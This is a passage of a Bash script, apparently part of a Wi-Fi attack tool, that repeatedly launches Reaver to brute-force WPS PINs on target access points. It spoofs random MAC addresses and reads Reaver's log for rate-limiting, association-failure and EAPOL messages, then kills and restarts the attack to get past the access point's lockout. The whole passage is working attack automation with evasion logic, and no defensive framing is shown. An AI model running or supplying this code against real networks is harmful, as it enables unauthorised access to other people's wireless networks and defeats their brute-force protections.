	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R17 == y || $USE_R17 == Y ]] && [[ $USE_LONG17 == y || $USE_LONG17 == Y ]] && [[ $USE_PIN17 == y || $USE_PIN17 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME17"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL17"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP17"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX17" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY17"
echo -e "$info Reaver live time                   = $yel$LIVE17 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME17-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL17 -b $TARGETAP17 -r $RX17:$RY17 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN17 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME17-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE17-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME17-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME17-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME17-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP17 (ESSID: $NMEWARN17)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE17 == n ] || [ $KEEP_FILE17 == N ]; then

          rm VARMAC_LOGS/$NAME17-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R18 == n || $USE_R18 == N ]] && [[ $USE_LONG18 == n || $USE_LONG18 == N ]] && [[ $USE_PIN18 == n || $USE_PIN18 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R18 == y || $USE_R18 == Y ]] && [[ $USE_LONG18 == n || $USE_LONG18 == N ]] && [[ $USE_PIN18 == n || $USE_PIN18 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX18" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY18"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -vv -x 60 -r $RX18:$RY18 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R18 == n || $USE_R18 == N ]] && [[ $USE_LONG18 == y || $USE_LONG18 == Y ]] && [[ $USE_PIN18 == n || $USE_PIN18 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME18"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL18"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP18"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE18 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME18-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL18 -b $TARGETAP18 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME18-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE18-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME18-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME18-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME18-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP18 (ESSID: $NMEWARN18)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME18-$DATEFILE-$PAD

                   fi

